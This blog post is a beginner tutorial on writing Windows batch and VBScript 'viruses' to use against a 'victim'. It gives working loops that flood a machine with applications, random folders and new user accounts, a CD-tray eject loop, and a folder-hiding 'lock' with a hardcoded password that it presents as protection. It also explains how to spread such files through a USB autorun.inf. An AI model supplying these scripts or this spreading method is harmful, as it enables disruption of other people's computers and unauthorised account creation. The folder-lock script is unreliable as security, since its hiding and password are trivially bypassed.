FUCK OFF

Batch Files Virus For Noobs

What are Batch Files ?

A computer file containing a list of instructions to be carried out in turn.
Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one
1. md x1 //makes directory 'x1' on desktop
2. cd x1  // changes current directory to 'x1'
3. md y1 // makes a directory 'y1' in directory 'x1'    

We first make a folder/directory 'x1', then enter in folder  'x1',then make a folder 'y1' in folder 'x1'
Now delete the folder 'x'
Lets do the same thing in an other way. Copy these three commands in  notepad and save file as anything.bat                        
Now just double click on this batch file and the same work would be done , You will get a folder 'x1' on your desktop and folder 'y1' in it. This means the three commands executed line by line when we ran the batch file
So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.


What can batch viruses do ?

They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.
Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat

(You can use anything you wish but extension must be .bat and save it as 'all files' instead of text files)
Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.



















1.  Application Bomber

@echo off   // It instructs to hide the commands when batch files is executed
:x   //loop variable
start winword
start mspaint  //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.

2. Folder flooder

@echo off
:x
md %random%   // makes directory/folder.
goto x
Here %random% is a variable that would generate a positive no. randomly.  So this code would start creating folders whose name can be any random number.

3.User account flooder

@echo off
:x
net user %random% /add  //create user account
goto x
This code would start creating windows user accounts whose names could be any random numbers.

4.CD-Drive Gone Insane

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Save this batch file virus as anything.vbs
This code will make your cd-drive to open-close,open-close.....continuously........... 

Solution:Go to task manager click on process Then find wscript.exe and end this process.. 
 (This works only in windows Xp/7)

5.Folder lock/Hide 

cls
@ECHO OFF
title coolhacking-tricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== coolhacks goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End

Save the notepad file as lock.bat (.bat is must)
Now double click on lock.bat and a new folder will be created with name MyFolder
Copy all your data you want to protect in that New folder
Now double click on lock.bat and when command prompt appears Type Y and press enter.
Now MyFolder will be hidden from you view, to access that folder double click on lock.bat
It will ask for password enter your password and done. (Default password is coolhacks)



Spreading Batch Viruses Through USB

Step 1.

Open notepad and write:
[autorun]
open=anything.bat
Icon=anything.ico
Save file as ‘autorun.inf’

Step 2.

Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in the USB.
When the victim plugs in the USB ,the autorun.inf will launch anything.bat and commands in batch file virus will be executed.


                          






Previous
Next Post »